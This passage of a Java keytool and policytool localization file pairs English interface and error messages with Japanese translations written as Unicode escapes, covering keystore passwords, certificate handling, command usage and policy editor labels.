                                                                              • \t(\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3068\u540c\u3058\u5834\u5408\u306f RETURN \u3092\u62bc\u3057\u3066\u304f\u3060\u3055\u3044):
                                                                              • Key password is too short - must be at least 6 characters
                                                                              • \u9375\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u77ed\u904e\u304e\u307e\u3059 - 6 \u6587\u5b57\u4ee5\u4e0a\u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • Too many failures - key not added to keystore
                                                                              • \u969c\u5bb3\u304c\u591a\u904e\u304e\u307e\u3059 - \u9375\u306f\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u8ffd\u52a0\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f
                                                                              • Destination alias <dest> already exists
                                                                              • \u5b9b\u5148\u306e\u5225\u540d <{0}> \u306f\u3059\u3067\u306b\u5b58\u5728\u3057\u307e\u3059\u3002
                                                                              • Password is too short - must be at least 6 characters
                                                                              • \u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u77ed\u904e\u304e\u307e\u3059 - 6 \u6587\u5b57\u4ee5\u4e0a\u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • Too many failures. Key entry not cloned
                                                                              • \u969c\u5bb3\u304c\u591a\u904e\u304e\u307e\u3059\u3002\u9375\u30a8\u30f3\u30c8\u30ea\u306f\u8907\u88fd\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002
                                                                              • key password for <alias>
                                                                              • <{0}> \u306e\u9375\u306e\u30d1\u30b9\u30ef\u30fc\u30c9
                                                                              • Keystore entry for <id.getName()> already exists
                                                                              • <{0}> \u306e\u30ad\u30fc\u30b9\u30c8\u30a2\u30a8\u30f3\u30c8\u30ea\u306f\u3059\u3067\u306b\u5b58\u5728\u3057\u307e\u3059\u3002
                                                                              • Creating keystore entry for <id.getName()> ...
                                                                              • <{0}> \u306e\u30ad\u30fc\u30b9\u30c8\u30a2\u30a8\u30f3\u30c8\u30ea\u3092\u4f5c\u6210\u4e2d...
                                                                              • No entries from identity database added
                                                                              • \u30a2\u30a4\u30c7\u30f3\u30c6\u30a3\u30c6\u30a3\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u8ffd\u52a0\u3055\u308c\u305f\u30a8\u30f3\u30c8\u30ea\u306f\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • Alias name: alias
                                                                              • \u5225\u540d: {0}
                                                                              • Creation date: keyStore.getCreationDate(alias)
                                                                              • \u4f5c\u6210\u65e5: {0,date}
                                                                              • alias, keyStore.getCreationDate(alias),
                                                                              • {0}, {1,date},
                                                                              • alias,
                                                                              • {0},
                                                                              • Entry type: <type>
                                                                              • \u30a8\u30f3\u30c8\u30ea\u30bf\u30a4\u30d7: {0}
                                                                              • Certificate chain length:
                                                                              • \u8a3c\u660e\u9023\u9396\u306e\u9577\u3055:
                                                                              • Certificate[(i + 1)]:
                                                                              • \u8a3c\u660e\u66f8[{0,number,integer}]:
                                                                              • Certificate fingerprint (MD5):
                                                                              • \u8a3c\u660e\u66f8\u306e\u30d5\u30a3\u30f3\u30ac\u30fc\u30d7\u30ea\u30f3\u30c8 (MD5):
                                                                              • Entry type: trustedCertEntry\n
                                                                              • \u30a8\u30f3\u30c8\u30ea\u306e\u30bf\u30a4\u30d7: trustedCertEntry\n
                                                                              • trustedCertEntry,
                                                                              • Keystore type:
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30bf\u30a4\u30d7:
                                                                              • Keystore provider:
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d7\u30ed\u30d0\u30a4\u30c0:
                                                                              • Your keystore contains keyStore.size() entry
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u306f {0,number,integer} \u30a8\u30f3\u30c8\u30ea\u304c\u542b\u307e\u308c\u307e\u3059\u3002
                                                                              • Your keystore contains keyStore.size() entries
                                                                              • Failed to parse input
                                                                              • \u5165\u529b\u306e\u69cb\u6587\u89e3\u6790\u306b\u5931\u6557\u3057\u307e\u3057\u305f\u3002
                                                                              • Empty input
                                                                              • \u5165\u529b\u304c\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • Not X.509 certificate
                                                                              • X.509 \u8a3c\u660e\u66f8\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • alias has no public key
                                                                              • {0} \u306b\u306f\u516c\u958b\u9375\u304c\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • alias has no X.509 certificate
                                                                              • {0} \u306b\u306f X.509 \u8a3c\u660e\u66f8\u304c\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • New certificate (self-signed):
                                                                              • \u65b0\u3057\u3044\u8a3c\u660e\u66f8 (\u81ea\u5df1\u7f72\u540d\u578b):
                                                                              • Reply has no certificates
                                                                              • \u5fdc\u7b54\u306b\u306f\u8a3c\u660e\u66f8\u304c\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • Certificate not imported, alias <alias> already exists
                                                                              • \u8a3c\u660e\u66f8\u306f\u30a4\u30f3\u30dd\u30fc\u30c8\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002\u5225\u540d <{0}> \u306f\u3059\u3067\u306b\u5b58\u5728\u3057\u307e\u3059\u3002
                                                                              • Input not an X.509 certificate
                                                                              • \u5165\u529b\u306f X.509 \u8a3c\u660e\u66f8\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • Certificate already exists in keystore under alias <trustalias>
                                                                              • \u8a3c\u660e\u66f8\u306f\u3001\u5225\u540d <{0}> \u306e\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u3059\u3067\u306b\u5b58\u5728\u3057\u307e\u3059\u3002
                                                                              • Do you still want to add it? [no]:
                                                                              • \u8ffd\u52a0\u3057\u307e\u3059\u304b? [no]:
                                                                              • Certificate already exists in system-wide CA keystore under alias <trustalias>
                                                                              • \u8a3c\u660e\u66f8\u306f\u3001\u5225\u540d <{0}> \u306e\u30b7\u30b9\u30c6\u30e0\u898f\u6a21\u306e CA \u30ad\u30fc\u30b9\u30c8\u30a2\u5185\u306b\u3059\u3067\u306b\u5b58\u5728\u3057\u307e\u3059\u3002
                                                                              • Do you still want to add it to your own keystore? [no]:
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u8ffd\u52a0\u3057\u307e\u3059\u304b? [no]:
                                                                              • Trust this certificate? [no]:
                                                                              • \u3053\u306e\u8a3c\u660e\u66f8\u3092\u4fe1\u983c\u3057\u307e\u3059\u304b? [no]:
                                                                              • YES
                                                                              • New prompt:
                                                                              • \u65b0\u898f {0}:
                                                                              • Passwords must differ
                                                                              • \u30d1\u30b9\u30ef\u30fc\u30c9\u306f\u7570\u306a\u3063\u3066\u3044\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002
                                                                              • Re-enter new prompt:
                                                                              • \u65b0\u898f {0} \u3092\u518d\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044:
                                                                              • Re-enter new password:
                                                                              • \u65b0\u898f\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u518d\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044:
                                                                              • They don\'t match. Try again
                                                                              • \u4e00\u81f4\u3057\u307e\u305b\u3093\u3002\u3082\u3046\u4e00\u5ea6\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044
                                                                              • Enter prompt alias name:
                                                                              • {0} \u306e\u5225\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044:
                                                                              • Enter new alias name\t(RETURN to cancel import for this entry):
                                                                              • \u65b0\u3057\u3044\u5225\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\t(\u3053\u306e\u30a8\u30f3\u30c8\u30ea\u306e\u30a4\u30f3\u30dd\u30fc\u30c8\u3092\u53d6\u308a\u6d88\u3059\u5834\u5408\u306f RETURN \u3092\u62bc\u3057\u3066\u304f\u3060\u3055\u3044):
                                                                              • Enter alias name:
                                                                              • \u5225\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044:
                                                                              • \t(RETURN if same as for <otherAlias>)
                                                                              • \t(<{0}> \u3068\u540c\u3058\u5834\u5408\u306f RETURN \u3092\u62bc\u3057\u3066\u304f\u3060\u3055\u3044)
                                                                              • *PATTERN* printX509Cert
                                                                              • \u6240\u6709\u8005: {0}\n\u767a\u884c\u8005: {1}\n\u30b7\u30ea\u30a2\u30eb\u756a\u53f7: {2}\n\u6709\u52b9\u671f\u9593\u306e\u958b\u59cb\u65e5: {3} \u7d42\u4e86\u65e5: {4}\n\u8a3c\u660e\u66f8\u306e\u30d5\u30a3\u30f3\u30ac\u30fc\u30d7\u30ea\u30f3\u30c8:\n\t MD5: {5}\n\t SHA1: {6}\n\t \u7f72\u540d\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u540d: {7}\n\t \u30d0\u30fc\u30b8\u30e7\u30f3: {8}
                                                                              • What is your first and last name?
                                                                              • \u59d3\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • What is the name of your organizational unit?
                                                                              • \u7d44\u7e54\u5358\u4f4d\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • What is the name of your organization?
                                                                              • \u7d44\u7e54\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • What is the name of your City or Locality?
                                                                              • \u90fd\u5e02\u540d\u307e\u305f\u306f\u5730\u57df\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • What is the name of your State or Province?
                                                                              • \u5dde\u540d\u307e\u305f\u306f\u5730\u65b9\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • What is the two-letter country code for this unit?
                                                                              • \u3053\u306e\u5358\u4f4d\u306b\u8a72\u5f53\u3059\u308b 2 \u6587\u5b57\u306e\u56fd\u756a\u53f7\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • Is <name> correct?
                                                                              • {0} \u3067\u3088\u308d\u3057\u3044\u3067\u3059\u304b?
                                                                              • no
                                                                              • yes
                                                                              • y
                                                                              • [defaultValue]:
                                                                              • [{0}]:
                                                                              • Alias <alias> has no key
                                                                              • \u5225\u540d <{0}> \u306b\u306f\u9375\u304c\u3042\u308a\u307e\u305b\u3093
                                                                              • Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries
                                                                              • \u5225\u540d <{0}> \u304c\u53c2\u7167\u3057\u3066\u3044\u308b\u30a8\u30f3\u30c8\u30ea\u30bf\u30a4\u30d7\u306f\u975e\u516c\u958b\u9375\u30a8\u30f3\u30c8\u30ea\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002-keyclone \u30b3\u30de\u30f3\u30c9\u306f\u975e\u516c\u958b\u9375\u30a8\u30f3\u30c8\u30ea\u306e\u8907\u88fd\u306e\u307f\u3092\u30b5\u30dd\u30fc\u30c8\u3057\u307e\u3059
                                                                              • ***************** WARNING WARNING WARNING *****************
                                                                              • ***************** \u8b66\u544a \u8b66\u544a \u8b66\u544a *****************
                                                                              • * The integrity of the information stored in your keystore *
                                                                              • * \u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u4fdd\u5b58\u3055\u308c\u305f\u60c5\u5831\u306e\u5b8c\u5168\u6027\u306f\u691c\u8a3c\u3055\u308c\u3066 *
                                                                              • * The integrity of the information stored in the srckeystore*
                                                                              • * \u30bd\u30fc\u30b9\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u4fdd\u5b58\u3055\u308c\u305f\u60c5\u5831\u306e\u5b8c\u5168\u6027*
                                                                              • * has NOT been verified! In order to verify its integrity, *
                                                                              • * \u3044\u307e\u305b\u3093! \u5b8c\u5168\u6027\u3092\u691c\u8a3c\u3059\u308b\u306b\u306f\u3001\u30ad\u30fc\u30b9\u30c8\u30a2\u306e *
                                                                              • * you must provide your keystore password. *
                                                                              • * \u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002 *
                                                                              • * you must provide the srckeystore password. *
                                                                              • * \u30bd\u30fc\u30b9\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002 *
                                                                              • Certificate reply does not contain public key for <alias>
                                                                              • \u8a3c\u660e\u66f8\u5fdc\u7b54\u306b\u306f\u3001<{0}> \u306e\u516c\u958b\u9375\u306f\u542b\u307e\u308c\u307e\u305b\u3093\u3002
                                                                              • Incomplete certificate chain in reply
                                                                              • \u5fdc\u7b54\u3057\u305f\u8a3c\u660e\u9023\u9396\u306f\u4e0d\u5b8c\u5168\u3067\u3059\u3002
                                                                              • Certificate chain in reply does not verify:
                                                                              • \u5fdc\u7b54\u3057\u305f\u8a3c\u660e\u9023\u9396\u306f\u691c\u8a3c\u3055\u308c\u3066\u3044\u307e\u305b\u3093:
                                                                              • Top-level certificate in reply:\n
                                                                              • \u5fdc\u7b54\u3057\u305f\u30c8\u30c3\u30d7\u30ec\u30d9\u30eb\u306e\u8a3c\u660e\u66f8:\n
                                                                              • ... is not trusted.
                                                                              • ... \u306f\u4fe1\u983c\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002
                                                                              • Install reply anyway? [no]:
                                                                              • \u5fdc\u7b54\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u307e\u3059\u304b? [no]:
                                                                              • NO
                                                                              • Public keys in reply and keystore don\'t match
                                                                              • \u5fdc\u7b54\u3057\u305f\u516c\u958b\u9375\u3068\u30ad\u30fc\u30b9\u30c8\u30a2\u304c\u4e00\u81f4\u3057\u307e\u305b\u3093\u3002
                                                                              • Certificate reply and certificate in keystore are identical
                                                                              • \u8a3c\u660e\u66f8\u5fdc\u7b54\u3068\u30ad\u30fc\u30b9\u30c8\u30a2\u5185\u306e\u8a3c\u660e\u66f8\u304c\u540c\u3058\u3067\u3059\u3002
                                                                              • Failed to establish chain from reply
                                                                              • \u5fdc\u7b54\u304b\u3089\u9023\u9396\u3092\u78ba\u7acb\u3067\u304d\u307e\u305b\u3093\u3067\u3057\u305f\u3002
                                                                              • n
                                                                              • Wrong answer, try again
                                                                              • \u5fdc\u7b54\u304c\u9593\u9055\u3063\u3066\u3044\u307e\u3059\u3002\u3082\u3046\u4e00\u5ea6\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • Secret key not generated, alias <alias> already exists
                                                                              • \u79d8\u5bc6\u9375\u306f\u751f\u6210\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002\u5225\u540d <{0}> \u306f\u3059\u3067\u306b\u5b58\u5728\u3057\u3066\u3044\u307e\u3059
                                                                              • Please provide -keysize for secret key generation
                                                                              • \u79d8\u5bc6\u9375\u306e\u751f\u6210\u6642\u306b\u306f -keysize \u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044
                                                                              • keytool usage:\n
                                                                              • keytool \u306e\u4f7f\u3044\u65b9:\n
                                                                              • Extensions:
                                                                              • \u62e1\u5f35:
                                                                              • -certreq [-v] [-protected]
                                                                              • \t [-alias <alias>] [-sigalg <sigalg>]
                                                                              • \t [-file <csr_file>] [-keypass <keypass>]
                                                                              • \t [-keystore <keystore>] [-storepass <storepass>]
                                                                              • \t [-storetype <storetype>] [-providername <name>]
                                                                              • \t [-providerclass <provider_class_name> [-providerarg <arg>]] ...
                                                                              • \t [-providerpath <pathlist>]
                                                                              • -delete [-v] [-protected] -alias <alias>
                                                                              • -exportcert [-v] [-rfc] [-protected]
                                                                              • \t [-alias <alias>] [-file <cert_file>]
                                                                              • -genkeypair [-v] [-protected]
                                                                              • \t [-alias <alias>]
                                                                              • \t [-keyalg <keyalg>] [-keysize <keysize>]
                                                                              • \t [-sigalg <sigalg>] [-dname <dname>]
                                                                              • \t [-validity <valDays>] [-keypass <keypass>]
                                                                              • -genseckey [-v] [-protected]
                                                                              • -help
                                                                              • -importcert [-v] [-noprompt] [-trustcacerts] [-protected]
                                                                              • \t [-alias <alias>] [-keypass <keypass>]
                                                                              • \t [-file <cert_file>] [-keypass <keypass>]
                                                                              • -importkeystore [-v]
                                                                              • \t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]
                                                                              • \t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]
                                                                              • \t [-srcprotected] [-destprotected]
                                                                              • \t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]
                                                                              • \t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]
                                                                              • \t [-srcalias <srcalias> [-destalias <destalias>]
                                                                              • \t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]
                                                                              • \t [-noprompt]
                                                                              • -changealias [-v] [-protected] -alias <alias> -destalias <destalias>
                                                                              • \t [-keypass <keypass>]
                                                                              • -keypasswd [-v] [-alias <alias>]
                                                                              • \t [-keypass <old_keypass>] [-new <new_keypass>]
                                                                              • -list [-v | -rfc] [-protected]
                                                                              • -printcert [-v] [-file <cert_file>]
                                                                              • -storepasswd [-v] [-new <new_storepass>]
                                                                              • Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured.
                                                                              • \u8b66\u544a: \u5225\u540d {0} \u306e\u516c\u958b\u9375\u304c\u5b58\u5728\u3057\u307e\u305b\u3093\u3002\u30ad\u30fc\u30b9\u30c8\u30a2\u304c\u6b63\u3057\u304f\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • Warning: Class not found: class
                                                                              • \u8b66\u544a: \u30af\u30e9\u30b9\u304c\u898b\u3064\u304b\u308a\u307e\u305b\u3093: {0}
                                                                              • Warning: Invalid argument(s) for constructor: arg
                                                                              • \u8b66\u544a: \u30b3\u30f3\u30b9\u30c8\u30e9\u30af\u30bf\u306e\u5f15\u6570\u304c\u7121\u52b9\u3067\u3059: {0}
                                                                              • Illegal Principal Type: type
                                                                              • \u4e0d\u6b63\u306a\u4e3b\u4f53\u306e\u30bf\u30a4\u30d7: {0}
                                                                              • Illegal option: option
                                                                              • \u4e0d\u6b63\u306a\u30aa\u30d7\u30b7\u30e7\u30f3: {0}
                                                                              • Usage: policytool [options]
                                                                              • \u4f7f\u3044\u65b9: policytool [options]
                                                                              • [-file <file>] policy file location
                                                                              • [-file <file>] \u30dd\u30ea\u30b7\u30fc\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240
                                                                              • New
                                                                              • \u65b0\u898f
                                                                              • Open
                                                                              • \u958b\u304f
                                                                              • Save
                                                                              • \u4fdd\u5b58
                                                                              • Save As
                                                                              • \u5225\u540d\u4fdd\u5b58
                                                                              • View Warning Log
                                                                              • \u8b66\u544a\u30ed\u30b0\u306e\u8868\u793a
                                                                              • Exit
                                                                              • \u7d42\u4e86
                                                                              • Add Policy Entry
                                                                              • \u30dd\u30ea\u30b7\u30fc\u30a8\u30f3\u30c8\u30ea\u306e\u8ffd\u52a0
                                                                              • Edit Policy Entry
                                                                              • \u30dd\u30ea\u30b7\u30fc\u30a8\u30f3\u30c8\u30ea\u306e\u7de8\u96c6
                                                                              • Remove Policy Entry
                                                                              • \u30dd\u30ea\u30b7\u30fc\u30a8\u30f3\u30c8\u30ea\u306e\u524a\u9664
                                                                              • Edit
                                                                              • \u7de8\u96c6
                                                                              • Retain
                                                                              • \u4fdd\u6301
                                                                              • Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name.
                                                                              • Add Public Key Alias
                                                                              • \u516c\u958b\u9375\u306e\u5225\u540d\u3092\u8ffd\u52a0
                                                                              • Remove Public Key Alias
                                                                              • \u516c\u958b\u9375\u306e\u5225\u540d\u3092\u524a\u9664
                                                                              • File
                                                                              • \u30d5\u30a1\u30a4\u30eb
                                                                              • KeyStore
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2
                                                                              • Policy File:
                                                                              • \u30dd\u30ea\u30b7\u30fc\u30d5\u30a1\u30a4\u30eb:
                                                                              • Could not open policy file: policyFile: e.toString()
                                                                              • \u30dd\u30ea\u30b7\u30fc\u30d5\u30a1\u30a4\u30eb\u3092\u958b\u3051\u307e\u305b\u3093\u3067\u3057\u305f: {0}: {1}
                                                                              • Policy Tool
                                                                              • Errors have occurred while opening the policy configuration. View the Warning Log for more information.
                                                                              • \u30dd\u30ea\u30b7\u30fc\u69cb\u6210\u306e\u30aa\u30fc\u30d7\u30f3\u4e2d\u306b\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002\u8a73\u7d30\u306f\u8b66\u544a\u30ed\u30b0\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • Error
                                                                              • \u30a8\u30e9\u30fc
                                                                              • OK
                                                                              • \u4e86\u89e3
                                                                              • Status
                                                                              • \u72b6\u614b
                                                                              • Warning
                                                                              • \u8b66\u544a
                                                                              • Permission:
                                                                              • \u30a2\u30af\u30bb\u30b9\u6a29:
                                                                              • Principal Type:
                                                                              • \u4e3b\u4f53\u306e\u30bf\u30a4\u30d7:
                                                                              • Principal Name:
                                                                              • \u4e3b\u4f53\u306e\u540d\u524d:
                                                                              • Target Name:
                                                                              • \u30bf\u30fc\u30b2\u30c3\u30c8\u540d:
                                                                              • Actions:
                                                                              • \u30a2\u30af\u30b7\u30e7\u30f3:
                                                                              • OK to overwrite existing file filename?
                                                                              • \u65e2\u5b58\u306e\u30d5\u30a1\u30a4\u30eb {0} \u306b\u4e0a\u66f8\u304d\u3057\u307e\u3059\u304b?
                                                                              • Cancel
                                                                              • \u53d6\u6d88\u3057
                                                                              • CodeBase:
                                                                              • SignedBy:
                                                                              • Add Principal
                                                                              • \u4e3b\u4f53\u306e\u8ffd\u52a0
                                                                              • Edit Principal
                                                                              • \u4e3b\u4f53\u306e\u7de8\u96c6
                                                                              • Remove Principal
                                                                              • \u4e3b\u4f53\u306e\u524a\u9664
                                                                              • Principals:
                                                                              • \u4e3b\u4f53:
                                                                              • Add Permission
                                                                              • \u30a2\u30af\u30bb\u30b9\u6a29\u306e\u8ffd\u52a0
                                                                              • Edit Permission
                                                                              • \u30a2\u30af\u30bb\u30b9\u6a29\u306e\u7de8\u96c6
                                                                              • Remove Permission
                                                                              • \u30a2\u30af\u30bb\u30b9\u6a29\u306e\u524a\u9664
                                                                              • Done
                                                                              • \u5b8c\u4e86
                                                                              • KeyStore URL:
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2 URL:
                                                                              • KeyStore Type:
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30bf\u30a4\u30d7:
                                                                              • KeyStore Provider:
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u30d7\u30ed\u30d0\u30a4\u30c0:
                                                                              • KeyStore Password URL:
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u30d1\u30b9\u30ef\u30fc\u30c9 URL:
                                                                              • Principals
                                                                              • \u4e3b\u4f53
                                                                              • Edit Principal:
                                                                              • \u4e3b\u4f53\u306e\u7de8\u96c6:
                                                                              • Add New Principal:
                                                                              • \u4e3b\u4f53\u306e\u65b0\u898f\u8ffd\u52a0:
                                                                              • Permissions
                                                                              • \u30a2\u30af\u30bb\u30b9\u6a29
                                                                              • Edit Permission:
                                                                              • \u30a2\u30af\u30bb\u30b9\u6a29\u306e\u7de8\u96c6:
                                                                              • Add New Permission:
                                                                              • \u65b0\u898f\u30a2\u30af\u30bb\u30b9\u6a29\u306e\u8ffd\u52a0:
                                                                              • Signed By:
                                                                              • \u7f72\u540d\u8005:
                                                                              • Cannot Specify Principal with a Wildcard Class without a Wildcard Name
                                                                              • \u30ef\u30a4\u30eb\u30c9\u30ab\u30fc\u30c9\u540d\u306e\u306a\u3044\u30ef\u30a4\u30eb\u30c9\u30ab\u30fc\u30c9\u30af\u30e9\u30b9\u3092\u4f7f\u3063\u3066\u4e3b\u4f53\u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002
                                                                              • Cannot Specify Principal without a Name
                                                                              • \u540d\u524d\u3092\u4f7f\u308f\u305a\u306b\u4e3b\u4f53\u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002
                                                                              • Permission and Target Name must have a value
                                                                              • \u30a2\u30af\u30bb\u30b9\u6a29\u3068\u30bf\u30fc\u30b2\u30c3\u30c8\u540d\u306f\u3001\u5024\u3092\u4fdd\u6301\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002
                                                                              • Remove this Policy Entry?
                                                                              • \u3053\u306e\u30dd\u30ea\u30b7\u30fc\u30a8\u30f3\u30c8\u30ea\u3092\u524a\u9664\u3057\u307e\u3059\u304b?
                                                                              • Overwrite File
                                                                              • \u30d5\u30a1\u30a4\u30eb\u3092\u4e0a\u66f8\u304d\u3057\u307e\u3059\u3002
                                                                              • Policy successfully written to filename
                                                                              • \u30dd\u30ea\u30b7\u30fc\u306e {0} \u3078\u306e\u66f8\u304d\u8fbc\u307f\u306b\u6210\u529f\u3057\u307e\u3057\u305f\u3002
                                                                              • null filename
                                                                              • \u30d5\u30a1\u30a4\u30eb\u540d\u304c\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • Save changes?
                                                                              • \u5909\u66f4\u3092\u4fdd\u5b58\u3057\u307e\u3059\u304b?
                                                                              • Yes
                                                                              • \u306f\u3044
                                                                              • No
                                                                              • \u3044\u3044\u3048
                                                                              • Policy Entry
                                                                              • \u30dd\u30ea\u30b7\u30fc\u30a8\u30f3\u30c8\u30ea
                                                                              • Save Changes
                                                                              • \u5909\u66f4\u3092\u4fdd\u5b58\u3057\u307e\u3059\u3002
                                                                              • No Policy Entry selected
                                                                              • \u30dd\u30ea\u30b7\u30fc\u30a8\u30f3\u30c8\u30ea\u304c\u9078\u629e\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002
                                                                              • Unable to open KeyStore: ex.toString()
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2 {0} \u3092\u958b\u3051\u307e\u305b\u3093
                                                                              • No principal selected
                                                                              • \u4e3b\u4f53\u304c\u9078\u629e\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002
                                                                              • No permission selected
                                                                              • \u30a2\u30af\u30bb\u30b9\u6a29\u304c\u9078\u629e\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002
                                                                              • name
                                                                              • \u540d\u524d
                                                                              • configuration type
                                                                              • \u8a2d\u5b9a\u30bf\u30a4\u30d7
                                                                              • environment variable name
                                                                              • \u74b0\u5883\u5909\u6570\u540d
                                                                              • library name
                                                                              • \u30e9\u30a4\u30d6\u30e9\u30ea\u540d
                                                                              • package name
                                                                              • \u30d1\u30c3\u30b1\u30fc\u30b8\u540d
                                                                              • policy type
                                                                              • \u30dd\u30ea\u30b7\u30fc\u30bf\u30a4\u30d7
                                                                              • property name
                                                                              • \u30d7\u30ed\u30d1\u30c6\u30a3\u540d
                                                                              • provider name
                                                                              • \u30d7\u30ed\u30d0\u30a4\u30c0\u540d
                                                                              • Principal List
                                                                              • \u4e3b\u4f53\u306e\u30ea\u30b9\u30c8
                                                                              • Permission List
                                                                              • \u30a2\u30af\u30bb\u30b9\u6a29\u306e\u30ea\u30b9\u30c8
                                                                              • Code Base
                                                                              • \u30b3\u30fc\u30c9\u30d9\u30fc\u30b9
                                                                              • KeyStore U R L:
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2 U R L:
                                                                              • KeyStore Password U R L:
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u30d1\u30b9\u30ef\u30fc\u30c9 U R L:
                                                                              • invalid null input(s)
                                                                              • null \u306e\u5165\u529b\u306f\u7121\u52b9\u3067\u3059\u3002
                                                                              • actions can only be \'read\'
                                                                              • \u30a2\u30af\u30b7\u30e7\u30f3\u306f \'\u8aad\u307f\u8fbc\u307f\' \u306e\u307f\u53ef\u80fd\u3067\u3059\u3002
                                                                              • permission name [name] syntax invalid:
                                                                              • \u30a2\u30af\u30bb\u30b9\u6a29\u540d [{0}] \u306e\u69cb\u6587\u304c\u7121\u52b9\u3067\u3059:
                                                                              • Credential Class not followed by a Principal Class and Name
                                                                              • Credential \u30af\u30e9\u30b9\u306e\u6b21\u306b Principal \u30af\u30e9\u30b9\u304a\u3088\u3073\u540d\u524d\u304c\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • Principal Class not followed by a Principal Name
                                                                              • Principal \u30af\u30e9\u30b9\u306e\u6b21\u306b\u4e3b\u4f53\u540d\u304c\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • Principal Name must be surrounded by quotes
                                                                              • \u4e3b\u4f53\u540d\u306f\u5f15\u7528\u7b26\u3067\u56f2\u3080\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002
                                                                              • Principal Name missing end quote
